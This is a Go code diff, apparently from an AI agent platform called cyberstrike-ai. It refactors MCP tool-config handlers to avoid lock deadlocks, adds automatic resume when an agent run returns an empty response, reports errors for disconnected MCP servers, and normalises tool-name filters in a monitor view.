|
||||||
externalMCPConfigs := h.externalMCPMgr.GetConfigs()
|
externalMCPConfigs := mgr.GetConfigs()
|
||||||
|
|
||||||
for _, externalTool := range externalTools {
|
for _, externalTool := range externalTools {
|
||||||
// 解析工具名称:mcpName::toolName
|
|
||||||
mcpName, actualToolName := h.parseExternalToolName(externalTool.Name)
|
mcpName, actualToolName := h.parseExternalToolName(externalTool.Name)
|
||||||
if mcpName == "" || actualToolName == "" {
|
if mcpName == "" || actualToolName == "" {
|
||||||
continue // 跳过格式不正确的工具
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
// 计算启用状态
|
enabled := h.calculateExternalToolEnabledWithManager(mcpName, actualToolName, externalMCPConfigs, mgr)
|
||||||
enabled := h.calculateExternalToolEnabled(mcpName, actualToolName, externalMCPConfigs)
|
|
||||||
|
|
||||||
// 处理描述信息
|
|
||||||
description := h.pickToolDescription(externalTool.ShortDescription, externalTool.Description)
|
|
||||||
|
|
||||||
result = append(result, ToolConfigInfo{
|
result = append(result, ToolConfigInfo{
|
||||||
Name: actualToolName,
|
Name: actualToolName,
|
||||||
Description: description,
|
Description: pickDesc(externalTool.ShortDescription, externalTool.Description),
|
||||||
Enabled: enabled,
|
Enabled: enabled,
|
||||||
IsExternal: true,
|
IsExternal: true,
|
||||||
ExternalMCP: mcpName,
|
ExternalMCP: mcpName,
|
||||||
@@ -1970,40 +2070,48 @@ func (h *ConfigHandler) parseExternalToolName(fullName string) (mcpName, toolNam
|
|||||||
|
|
||||||
// calculateExternalToolEnabled 计算外部工具的启用状态
|
// calculateExternalToolEnabled 计算外部工具的启用状态
|
||||||
func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool {
|
func (h *ConfigHandler) calculateExternalToolEnabled(mcpName, toolName string, configs map[string]config.ExternalMCPServerConfig) bool {
|
||||||
|
return h.calculateExternalToolEnabledWithManager(mcpName, toolName, configs, h.externalMCPMgr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *ConfigHandler) calculateExternalToolEnabledWithManager(
|
||||||
|
mcpName, toolName string,
|
||||||
|
configs map[string]config.ExternalMCPServerConfig,
|
||||||
|
mgr *mcp.ExternalMCPManager,
|
||||||
|
) bool {
|
||||||
cfg, exists := configs[mcpName]
|
cfg, exists := configs[mcpName]
|
||||||
if !exists {
|
if !exists {
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
// 首先检查外部MCP是否启用
|
|
||||||
if !cfg.ExternalMCPEnable {
|
if !cfg.ExternalMCPEnable {
|
||||||
return false // MCP未启用,所有工具都禁用
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
// MCP已启用,检查单个工具的启用状态
|
if cfg.ToolEnabled != nil {
|
||||||
// 如果ToolEnabled为空或未设置该工具,默认为启用(向后兼容)
|
if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists && !toolEnabled {
|
||||||
if cfg.ToolEnabled == nil {
|
|
||||||
// 未设置工具状态,默认为启用
|
|
||||||
} else if toolEnabled, exists := cfg.ToolEnabled[toolName]; exists {
|
|
||||||
// 使用配置的工具状态
|
|
||||||
if !toolEnabled {
|
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// 工具未在配置中,默认为启用
|
|
||||||
|
|
||||||
// 最后检查外部MCP是否已连接
|
if mgr == nil {
|
||||||
client, exists := h.externalMCPMgr.GetClient(mcpName)
|
return false
|
||||||
|
}
|
||||||
|
client, exists := mgr.GetClient(mcpName)
|
||||||
if !exists || !client.IsConnected() {
|
if !exists || !client.IsConnected() {
|
||||||
return false // 未连接时视为禁用
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度
|
// pickToolDescription 根据 security.tool_description_mode 选择 short 或 full 描述并限制长度。
|
||||||
|
// 调用方若已持有 h.mu 读锁,须直接读 mode 并调用 pickToolDescriptionWithMode,避免嵌套 RLock 死锁。
|
||||||
func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
|
func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
|
||||||
useFull := strings.TrimSpace(strings.ToLower(h.config.Security.ToolDescriptionMode)) == "full"
|
return pickToolDescriptionWithMode(h.config.Security.ToolDescriptionMode, shortDesc, fullDesc)
|
||||||
|
}
|
||||||
|
|
||||||
|
func pickToolDescriptionWithMode(mode, shortDesc, fullDesc string) string {
|
||||||
|
useFull := strings.TrimSpace(strings.ToLower(mode)) == "full"
|
||||||
description := shortDesc
|
description := shortDesc
|
||||||
if useFull {
|
if useFull {
|
||||||
description = fullDesc
|
description = fullDesc
|
||||||
@@ -2018,23 +2126,22 @@ func (h *ConfigHandler) pickToolDescription(shortDesc, fullDesc string) string {
|
|||||||
|
|
||||||
// GetToolSchema 获取单个工具的 inputSchema(按需加载,避免列表接口返回大量 schema 数据)
|
// GetToolSchema 获取单个工具的 inputSchema(按需加载,避免列表接口返回大量 schema 数据)
|
||||||
func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
||||||
h.mu.RLock()
|
|
||||||
defer h.mu.RUnlock()
|
|
||||||
|
|
||||||
toolName := c.Param("name")
|
toolName := c.Param("name")
|
||||||
if toolName == "" {
|
if toolName == "" {
|
||||||
c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"})
|
c.JSON(http.StatusBadRequest, gin.H{"error": "工具名称不能为空"})
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查是否为外部工具(格式:mcpName::toolName)
|
|
||||||
externalMCP := c.Query("external_mcp")
|
externalMCP := c.Query("external_mcp")
|
||||||
if externalMCP != "" {
|
if externalMCP != "" {
|
||||||
// 外部 MCP 工具
|
h.mu.RLock()
|
||||||
if h.externalMCPMgr != nil {
|
externalMCPMgr := h.externalMCPMgr
|
||||||
|
h.mu.RUnlock()
|
||||||
|
|
||||||
|
if externalMCPMgr != nil {
|
||||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
externalTools, _ := h.externalMCPMgr.GetAllTools(ctx)
|
externalTools, _ := externalMCPMgr.GetAllTools(ctx)
|
||||||
fullName := externalMCP + "::" + toolName
|
fullName := externalMCP + "::" + toolName
|
||||||
for _, t := range externalTools {
|
for _, t := range externalTools {
|
||||||
if t.Name == fullName {
|
if t.Name == fullName {
|
||||||
@@ -2047,8 +2154,12 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// 内部工具:从 YAML 配置的 Parameters 构建
|
h.mu.RLock()
|
||||||
for _, tool := range h.config.Security.Tools {
|
securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
|
||||||
|
mcpServer := h.mcpServer
|
||||||
|
h.mu.RUnlock()
|
||||||
|
|
||||||
|
for _, tool := range securityTools {
|
||||||
if tool.Name == toolName {
|
if tool.Name == toolName {
|
||||||
c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)})
|
c.JSON(http.StatusOK, gin.H{"input_schema": buildInputSchemaFromParams(tool.Parameters)})
|
||||||
return
|
return
|
||||||
@@ -2056,8 +2167,8 @@ func (h *ConfigHandler) GetToolSchema(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// MCP 注册工具(如知识检索)
|
// MCP 注册工具(如知识检索)
|
||||||
if h.mcpServer != nil {
|
if mcpServer != nil {
|
||||||
for _, mt := range h.mcpServer.GetAllTools() {
|
for _, mt := range mcpServer.GetAllTools() {
|
||||||
if mt.Name == toolName {
|
if mt.Name == toolName {
|
||||||
c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema})
|
c.JSON(http.StatusOK, gin.H{"input_schema": mt.InputSchema})
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -9,6 +9,8 @@ import (
|
|||||||
|
|
||||||
"cyberstrike-ai/internal/agent"
|
"cyberstrike-ai/internal/agent"
|
||||||
"cyberstrike-ai/internal/multiagent"
|
"cyberstrike-ai/internal/multiagent"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
|
|
||||||
func (h *AgentHandler) einoRunRetryMaxAttempts() int {
|
func (h *AgentHandler) einoRunRetryMaxAttempts() int {
|
||||||
@@ -120,3 +122,59 @@ func (h *AgentHandler) handleEinoTransientRetryContinue(
|
|||||||
}
|
}
|
||||||
return true, nil
|
return true, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// handleEinoEmptyResponseContinue 在 SSE 任务循环内处理「正常结束但无助手正文」;返回 exhausted=true 时由外层按成功结束(保留占位文案)。
|
||||||
|
// 与临时错误重试一致:仅恢复轨迹并保留本请求原始 user 文案,不向模型注入续跑说明。
|
||||||
|
func (h *AgentHandler) handleEinoEmptyResponseContinue(
|
||||||
|
baseCtx context.Context,
|
||||||
|
conversationID string,
|
||||||
|
result *multiagent.RunResult,
|
||||||
|
runErr error,
|
||||||
|
emptyResponseAttempts *int,
|
||||||
|
curHistory *[]agent.ChatMessage,
|
||||||
|
curFinalMessage *string,
|
||||||
|
segmentUserMessage string,
|
||||||
|
progressCallback func(eventType, message string, data interface{}),
|
||||||
|
sendProgress func(msg string, extra map[string]interface{}),
|
||||||
|
) (handled bool, exhausted bool) {
|
||||||
|
if !errors.Is(runErr, multiagent.ErrEmptyResponseContinue) {
|
||||||
|
return false, false
|
||||||
|
}
|
||||||
|
maxAttempts := h.einoRunRetryMaxAttempts()
|
||||||
|
*emptyResponseAttempts++
|
||||||
|
if *emptyResponseAttempts > maxAttempts {
|
||||||
|
if h.logger != nil {
|
||||||
|
h.logger.Warn("eino empty response auto resume exhausted",
|
||||||
|
zap.String("conversationId", conversationID),
|
||||||
|
zap.Int("maxAttempts", maxAttempts))
|
||||||
|
}
|
||||||
|
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
||||||
|
h.persistEinoAgentTraceForResume(conversationID, result)
|
||||||
|
}
|
||||||
|
return false, true
|
||||||
|
}
|
||||||
|
attemptNo := *emptyResponseAttempts
|
||||||
|
if h.logger != nil {
|
||||||
|
h.logger.Info("eino empty response, auto resume from trace",
|
||||||
|
zap.String("conversationId", conversationID),
|
||||||
|
zap.Int("attempt", attemptNo),
|
||||||
|
zap.Int("maxAttempts", maxAttempts))
|
||||||
|
}
|
||||||
|
if progressCallback != nil {
|
||||||
|
progressCallback("eino_empty_response_continue", fmt.Sprintf("未捕获到助手正文,正在基于轨迹自动续跑(%d/%d)…", attemptNo, maxAttempts), map[string]interface{}{
|
||||||
|
"conversationId": conversationID,
|
||||||
|
"source": "eino",
|
||||||
|
"attempt": attemptNo,
|
||||||
|
"maxAttempts": maxAttempts,
|
||||||
|
"resumeKind": "trace_segment",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
h.applyEinoTransientRetrySegment(conversationID, result, curHistory, curFinalMessage, segmentUserMessage)
|
||||||
|
if sendProgress != nil {
|
||||||
|
sendProgress("已恢复上下文,正在继续推理…", map[string]interface{}{
|
||||||
|
"conversationId": conversationID,
|
||||||
|
"source": "empty_response_continue",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return true, false
|
||||||
|
}
|
||||||
|
|||||||
@@ -178,6 +178,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
|||||||
|
|
||||||
var cumulativeMCPExecutionIDs []string
|
var cumulativeMCPExecutionIDs []string
|
||||||
var transientRunAttempts int
|
var transientRunAttempts int
|
||||||
|
var emptyResponseAttempts int
|
||||||
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
|
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
|
||||||
var mainIterationOffset int
|
var mainIterationOffset int
|
||||||
|
|
||||||
@@ -225,6 +226,7 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
|||||||
h.agent,
|
h.agent,
|
||||||
h.logger,
|
h.logger,
|
||||||
conversationID,
|
conversationID,
|
||||||
|
h.conversationProjectID(conversationID),
|
||||||
curFinalMessage,
|
curFinalMessage,
|
||||||
curHistory,
|
curHistory,
|
||||||
roleTools,
|
roleTools,
|
||||||
@@ -237,9 +239,32 @@ func (h *AgentHandler) EinoSingleAgentLoopStream(c *gin.Context) {
|
|||||||
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||||
|
baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
|
||||||
|
&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
|
||||||
|
func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
|
||||||
|
)
|
||||||
|
if exhaustedEmpty {
|
||||||
|
runErr = nil
|
||||||
|
transientRunAttempts = 0
|
||||||
|
timeoutCancel()
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handledEmpty {
|
||||||
|
mainIterationOffset += segmentMainIterationMax
|
||||||
|
transientRunAttempts = 0
|
||||||
|
timeoutCancel()
|
||||||
|
baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
|
||||||
|
h.tasks.BindTaskCancel(conversationID, cancelWithCause)
|
||||||
|
taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
|
||||||
|
h.tasks.UpdateTaskStatus(conversationID, "running")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
if runErr == nil {
|
if runErr == nil {
|
||||||
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
|
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
|
||||||
transientRunAttempts = 0
|
transientRunAttempts = 0
|
||||||
|
emptyResponseAttempts = 0
|
||||||
timeoutCancel()
|
timeoutCancel()
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -418,21 +443,50 @@ func (h *AgentHandler) EinoSingleAgentLoop(c *gin.Context) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
result, runErr := multiagent.RunEinoSingleChatModelAgent(
|
curHist := prep.History
|
||||||
taskCtx,
|
curMsg := prep.FinalMessage
|
||||||
h.config,
|
var result *multiagent.RunResult
|
||||||
&h.config.MultiAgent,
|
var runErr error
|
||||||
h.agent,
|
var transientRunAttempts int
|
||||||
h.logger,
|
var emptyResponseAttempts int
|
||||||
prep.ConversationID,
|
for {
|
||||||
prep.FinalMessage,
|
result, runErr = multiagent.RunEinoSingleChatModelAgent(
|
||||||
prep.History,
|
taskCtx,
|
||||||
prep.RoleTools,
|
h.config,
|
||||||
progressCallback,
|
&h.config.MultiAgent,
|
||||||
chatReasoningToClientIntent(req.Reasoning),
|
h.agent,
|
||||||
h.projectBlackboardBlock(prep.ConversationID),
|
h.logger,
|
||||||
)
|
prep.ConversationID,
|
||||||
if runErr != nil {
|
h.conversationProjectID(prep.ConversationID),
|
||||||
|
curMsg,
|
||||||
|
curHist,
|
||||||
|
prep.RoleTools,
|
||||||
|
progressCallback,
|
||||||
|
chatReasoningToClientIntent(req.Reasoning),
|
||||||
|
h.projectBlackboardBlock(prep.ConversationID),
|
||||||
|
)
|
||||||
|
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||||
|
baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
|
||||||
|
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||||
|
)
|
||||||
|
if exhaustedEmpty {
|
||||||
|
runErr = nil
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handledEmpty {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if runErr == nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handled, fatalErr := h.handleEinoTransientRetryContinue(
|
||||||
|
baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
|
||||||
|
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||||
|
); handled {
|
||||||
|
continue
|
||||||
|
} else if fatalErr != nil {
|
||||||
|
runErr = fatalErr
|
||||||
|
}
|
||||||
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
||||||
h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
h.persistEinoAgentTraceForResume(prep.ConversationID, result)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -64,10 +64,7 @@ func (h *ExternalMCPHandler) GetExternalMCPs(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
toolCount := toolCounts[name]
|
toolCount := toolCounts[name]
|
||||||
errorMsg := ""
|
errorMsg := externalMCPStatusError(h.manager, name, status)
|
||||||
if status == "error" {
|
|
||||||
errorMsg = h.manager.GetError(name)
|
|
||||||
}
|
|
||||||
|
|
||||||
result[name] = ExternalMCPResponse{
|
result[name] = ExternalMCPResponse{
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
@@ -115,20 +112,22 @@ func (h *ExternalMCPHandler) GetExternalMCP(c *gin.Context) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取错误信息
|
|
||||||
errorMsg := ""
|
|
||||||
if status == "error" {
|
|
||||||
errorMsg = h.manager.GetError(name)
|
|
||||||
}
|
|
||||||
|
|
||||||
c.JSON(http.StatusOK, ExternalMCPResponse{
|
c.JSON(http.StatusOK, ExternalMCPResponse{
|
||||||
Config: cfg,
|
Config: cfg,
|
||||||
Status: status,
|
Status: status,
|
||||||
ToolCount: toolCount,
|
ToolCount: toolCount,
|
||||||
Error: errorMsg,
|
Error: externalMCPStatusError(h.manager, name, status),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// externalMCPStatusError 在 error/disconnected 状态下返回最近错误(含断连原因)。
|
||||||
|
func externalMCPStatusError(manager *mcp.ExternalMCPManager, name, status string) string {
|
||||||
|
if status != "error" && status != "disconnected" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return manager.GetError(name)
|
||||||
|
}
|
||||||
|
|
||||||
// AddOrUpdateExternalMCP 添加或更新外部MCP配置
|
// AddOrUpdateExternalMCP 添加或更新外部MCP配置
|
||||||
func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
|
func (h *ExternalMCPHandler) AddOrUpdateExternalMCP(c *gin.Context) {
|
||||||
var req AddOrUpdateExternalMCPRequest
|
var req AddOrUpdateExternalMCPRequest
|
||||||
|
|||||||
@@ -271,6 +271,16 @@ func TestExternalMCPHandler_DeleteExternalMCP(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestExternalMCPStatusError(t *testing.T) {
|
||||||
|
manager := mcp.NewExternalMCPManager(zap.NewNop())
|
||||||
|
if got := externalMCPStatusError(manager, "x", "connected"); got != "" {
|
||||||
|
t.Fatalf("connected status should not return error, got %q", got)
|
||||||
|
}
|
||||||
|
if got := externalMCPStatusError(manager, "x", "connecting"); got != "" {
|
||||||
|
t.Fatalf("connecting status should not return error, got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
|
func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
|
||||||
router, handler, _ := setupTestRouter()
|
router, handler, _ := setupTestRouter()
|
||||||
|
|
||||||
|
|||||||
@@ -77,8 +77,8 @@ func (h *MonitorHandler) Monitor(c *gin.Context) {
|
|||||||
|
|
||||||
// 解析状态筛选参数
|
// 解析状态筛选参数
|
||||||
status := c.Query("status")
|
status := c.Query("status")
|
||||||
// 解析工具筛选参数
|
// 解析工具筛选参数(兼容 mcp__tool 与内部 mcp::tool)
|
||||||
toolName := c.Query("tool")
|
toolName := normalizeToolNameFilter(c.Query("tool"))
|
||||||
|
|
||||||
executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName)
|
executions, total := h.loadExecutionsWithPagination(page, pageSize, status, toolName)
|
||||||
stats := h.loadStats()
|
stats := h.loadStats()
|
||||||
@@ -113,7 +113,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
|
|||||||
for _, exec := range allExecutions {
|
for _, exec := range allExecutions {
|
||||||
matchStatus := status == "" || exec.Status == status
|
matchStatus := status == "" || exec.Status == status
|
||||||
// 支持部分匹配(模糊搜索)
|
// 支持部分匹配(模糊搜索)
|
||||||
matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
|
matchTool := toolNameFilterMatches(exec.ToolName, toolName)
|
||||||
if matchStatus && matchTool {
|
if matchStatus && matchTool {
|
||||||
filtered = append(filtered, exec)
|
filtered = append(filtered, exec)
|
||||||
}
|
}
|
||||||
@@ -143,7 +143,7 @@ func (h *MonitorHandler) loadExecutionsWithPagination(page, pageSize int, status
|
|||||||
for _, exec := range allExecutions {
|
for _, exec := range allExecutions {
|
||||||
matchStatus := status == "" || exec.Status == status
|
matchStatus := status == "" || exec.Status == status
|
||||||
// 支持部分匹配(模糊搜索)
|
// 支持部分匹配(模糊搜索)
|
||||||
matchTool := toolName == "" || strings.Contains(strings.ToLower(exec.ToolName), strings.ToLower(toolName))
|
matchTool := toolNameFilterMatches(exec.ToolName, toolName)
|
||||||
if matchStatus && matchTool {
|
if matchStatus && matchTool {
|
||||||
filtered = append(filtered, exec)
|
filtered = append(filtered, exec)
|
||||||
}
|
}
|
||||||
@@ -584,3 +584,35 @@ func (h *MonitorHandler) DeleteExecutions(c *gin.Context) {
|
|||||||
h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs)))
|
h.logger.Info("尝试批量删除内存中的执行记录", zap.Int("count", len(request.IDs)))
|
||||||
c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除(如果存在)"})
|
c.JSON(http.StatusOK, gin.H{"message": "执行记录已删除(如果存在)"})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// normalizeToolNameFilter 将模型侧 mcp__tool 转为内部存储用的 mcp::tool。
|
||||||
|
func normalizeToolNameFilter(name string) string {
|
||||||
|
name = strings.TrimSpace(name)
|
||||||
|
if name == "" {
|
||||||
|
return name
|
||||||
|
}
|
||||||
|
if strings.Contains(name, "::") {
|
||||||
|
return name
|
||||||
|
}
|
||||||
|
if idx := strings.Index(name, "__"); idx > 0 {
|
||||||
|
return name[:idx] + "::" + name[idx+2:]
|
||||||
|
}
|
||||||
|
return name
|
||||||
|
}
|
||||||
|
|
||||||
|
func toolNameFilterMatches(storedName, filter string) bool {
|
||||||
|
filter = strings.TrimSpace(filter)
|
||||||
|
if filter == "" {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
storedLower := strings.ToLower(storedName)
|
||||||
|
filterLower := strings.ToLower(filter)
|
||||||
|
if strings.Contains(storedLower, filterLower) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
normFilter := strings.ToLower(normalizeToolNameFilter(filter))
|
||||||
|
if normFilter != filterLower && strings.Contains(storedLower, normFilter) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return strings.Contains(strings.ReplaceAll(storedLower, "::", "__"), filterLower)
|
||||||
|
}
|
||||||
|
|||||||
@@ -188,6 +188,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
|||||||
// 同一 HTTP 流内多段 Run(如中断并继续)合并 MCP execution id,供最终 response / 库表与工具芯片展示完整列表
|
// 同一 HTTP 流内多段 Run(如中断并继续)合并 MCP execution id,供最终 response / 库表与工具芯片展示完整列表
|
||||||
var cumulativeMCPExecutionIDs []string
|
var cumulativeMCPExecutionIDs []string
|
||||||
var transientRunAttempts int
|
var transientRunAttempts int
|
||||||
|
var emptyResponseAttempts int
|
||||||
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
|
// 同一请求内分段续跑时,主代理 iteration 事件按偏移累计,避免 UI 出现「第3轮 → 第1轮」回跳。
|
||||||
var mainIterationOffset int
|
var mainIterationOffset int
|
||||||
|
|
||||||
@@ -235,6 +236,7 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
|||||||
h.agent,
|
h.agent,
|
||||||
h.logger,
|
h.logger,
|
||||||
conversationID,
|
conversationID,
|
||||||
|
h.conversationProjectID(conversationID),
|
||||||
curFinalMessage,
|
curFinalMessage,
|
||||||
curHistory,
|
curHistory,
|
||||||
roleTools,
|
roleTools,
|
||||||
@@ -249,9 +251,32 @@ func (h *AgentHandler) MultiAgentLoopStream(c *gin.Context) {
|
|||||||
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
cumulativeMCPExecutionIDs = mergeMCPExecutionIDLists(cumulativeMCPExecutionIDs, result.MCPExecutionIDs)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||||
|
baseCtx, conversationID, result, runErr, &emptyResponseAttempts,
|
||||||
|
&curHistory, &curFinalMessage, segmentUserMessage, progressCallback,
|
||||||
|
func(msg string, extra map[string]interface{}) { sendEvent("progress", msg, extra) },
|
||||||
|
)
|
||||||
|
if exhaustedEmpty {
|
||||||
|
runErr = nil
|
||||||
|
transientRunAttempts = 0
|
||||||
|
timeoutCancel()
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handledEmpty {
|
||||||
|
mainIterationOffset += segmentMainIterationMax
|
||||||
|
transientRunAttempts = 0
|
||||||
|
timeoutCancel()
|
||||||
|
baseCtx, cancelWithCause = context.WithCancelCause(context.Background())
|
||||||
|
h.tasks.BindTaskCancel(conversationID, cancelWithCause)
|
||||||
|
taskCtx, timeoutCancel = context.WithTimeout(baseCtx, 600*time.Minute)
|
||||||
|
h.tasks.UpdateTaskStatus(conversationID, "running")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
if runErr == nil {
|
if runErr == nil {
|
||||||
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
|
// 任一段成功完成后,重置临时错误重试窗口(次数/退避从头开始)。
|
||||||
transientRunAttempts = 0
|
transientRunAttempts = 0
|
||||||
|
emptyResponseAttempts = 0
|
||||||
timeoutCancel()
|
timeoutCancel()
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -430,23 +455,52 @@ func (h *AgentHandler) MultiAgentLoop(c *gin.Context) {
|
|||||||
return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
|
return h.interceptHITLForEinoTool(ctx, cancelWithCause, prep.ConversationID, prep.AssistantMessageID, nil, toolName, arguments)
|
||||||
})
|
})
|
||||||
|
|
||||||
result, runErr := multiagent.RunDeepAgent(
|
curHist := prep.History
|
||||||
taskCtx,
|
curMsg := prep.FinalMessage
|
||||||
h.config,
|
var result *multiagent.RunResult
|
||||||
&h.config.MultiAgent,
|
var runErr error
|
||||||
h.agent,
|
var transientRunAttempts int
|
||||||
h.logger,
|
var emptyResponseAttempts int
|
||||||
prep.ConversationID,
|
for {
|
||||||
prep.FinalMessage,
|
result, runErr = multiagent.RunDeepAgent(
|
||||||
prep.History,
|
taskCtx,
|
||||||
prep.RoleTools,
|
h.config,
|
||||||
progressCallback,
|
&h.config.MultiAgent,
|
||||||
h.agentsMarkdownDir,
|
h.agent,
|
||||||
strings.TrimSpace(req.Orchestration),
|
h.logger,
|
||||||
chatReasoningToClientIntent(req.Reasoning),
|
prep.ConversationID,
|
||||||
h.projectBlackboardBlock(prep.ConversationID),
|
h.conversationProjectID(prep.ConversationID),
|
||||||
)
|
curMsg,
|
||||||
if runErr != nil {
|
curHist,
|
||||||
|
prep.RoleTools,
|
||||||
|
progressCallback,
|
||||||
|
h.agentsMarkdownDir,
|
||||||
|
strings.TrimSpace(req.Orchestration),
|
||||||
|
chatReasoningToClientIntent(req.Reasoning),
|
||||||
|
h.projectBlackboardBlock(prep.ConversationID),
|
||||||
|
)
|
||||||
|
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||||
|
baseCtx, prep.ConversationID, result, runErr, &emptyResponseAttempts,
|
||||||
|
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||||
|
)
|
||||||
|
if exhaustedEmpty {
|
||||||
|
runErr = nil
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handledEmpty {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if runErr == nil {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handled, fatalErr := h.handleEinoTransientRetryContinue(
|
||||||
|
baseCtx, prep.ConversationID, result, runErr, &transientRunAttempts,
|
||||||
|
&curHist, &curMsg, prep.FinalMessage, progressCallback, nil,
|
||||||
|
); handled {
|
||||||
|
continue
|
||||||
|
} else if fatalErr != nil {
|
||||||
|
runErr = fatalErr
|
||||||
|
}
|
||||||
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
if shouldPersistEinoAgentTraceAfterRunError(baseCtx) {
|
||||||
